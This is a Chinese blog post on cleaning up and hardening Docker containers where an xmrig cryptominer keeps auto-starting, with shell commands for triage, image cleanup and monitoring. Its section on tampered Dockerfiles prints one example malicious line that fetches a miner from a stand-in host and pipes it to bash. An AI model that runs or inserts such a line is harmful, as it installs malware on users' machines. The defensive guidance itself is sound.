【攻防篇】解决:阿里云docker 容器中自动启动xmrig挖矿

发布于:2025-06-27 ⋅ 阅读:(16) ⋅ 点赞:(0)

如果发现 Docker 容器内自动启动 xmrig 挖矿程序,说明你的容器可能被入侵(通常是由于 镜像被篡改容器内运行了恶意脚本)。以下是 排查、清理和防护措施


1. 紧急处理:停止挖矿进程

(1)查找并终止 xmrig 进程

# 进入容器
docker exec -it <容器名或ID> /bin/bash

# 查找挖矿进程(xmrig、minerd、cpuminer等)
ps aux | grep -E "xmrig|minerd|cpuminer"

# 强制终止进程(替换PID)
kill -9 <PID>

# 如果进程自动重启,检查定时任务或守护进程
crontab -l          # 查看定时任务
ls -la /etc/cron.*  # 检查cron目录
find / -name "*xmrig*"  # 查找挖矿程序路径

(2)删除恶意文件

# 删除挖矿程序和相关文件
rm -rf /tmp/xmrig /var/tmp/.cache/xmrig

# 检查容器内是否有异常启动脚本
find / -name "*.sh" | xargs grep "xmrig"  # 检查脚本是否包含xmrig

2. 清理被感染的容器

(1)停止并删除容器

docker stop <容器名或ID>
docker rm <容器名或ID>

(2)检查镜像是否被污染

# 查看所有镜像
docker images

# 如果镜像来源不可信,删除并重新拉取
docker rmi <恶意镜像名>

3. 防护措施:防止再次被入侵

(1)使用最小化镜像

  • 避免使用 latest 标签,选择官方受信任的镜像(如 alpinedebian-slim)。
  • 示例:
    FROM alpine:3.18
    RUN apk add --no-cache bash
    

(2)限制容器资源

docker run 时限制 CPU 和内存,防止挖矿程序耗尽资源:

docker run --cpus 1 --memory 512m -d <镜像名>

(3)禁止容器内运行可疑进程

使用 SeccompAppArmor 限制容器权限:

# 使用默认的Seccomp配置文件(限制危险系统调用)
docker run --security-opt seccomp=default.json -d <镜像名>

(4)监控容器行为

  • 使用 docker stats 检查异常 CPU/内存占用
    docker stats
    
  • 使用 FalcoSysdig 监控容器行为
    falco -r /etc/falco/falco_rules.yaml
    

(5)避免暴露 Docker API

  • 禁止远程访问 Docker API(默认端口 2375):
    # 修改 /etc/docker/daemon.json
    {
      "hosts": ["unix:///var/run/docker.sock"]
    }
    
  • 启用 TLS 认证(防止未授权访问)。

4. 排查入侵来源

(1)检查 Docker 日志

journalctl -u docker | grep "error\|warning"

(2)检查宿主机是否被入侵

  • 查看异常进程
    top -c
    
  • 检查 SSH 登录记录
    grep "Accepted" /var/log/auth.log
    

(3)检查 Dockerfile 是否被篡改

如果使用自定义镜像,检查 Dockerfile 是否包含恶意命令:

# 恶意示例(可能隐藏在RUN命令中)
RUN curl -sL https://malicious.site/xmrig | bash

5. 总结

步骤 命令/操作
终止挖矿进程 kill -9 <PID>,删除 /tmp/xmrig
清理容器 docker stop + docker rm,检查镜像是否安全
限制资源 docker run --cpus 1 --memory 512m
监控容器 docker statsFalco
加固 Docker 关闭 2375 端口,使用 Seccomp/AppArmor

建议

  • 定期更新 Docker 和镜像,避免使用来源不明的镜像。
  • 使用 Trivy 扫描镜像漏洞
    trivy image <镜像名>
    
  • 启用 Docker 日志审计,记录所有容器操作。

如果问题仍然存在,可能需要 全面检查宿主机重建 Docker 环境


网站公告

今日签到

点亮在社区的每一天
去签到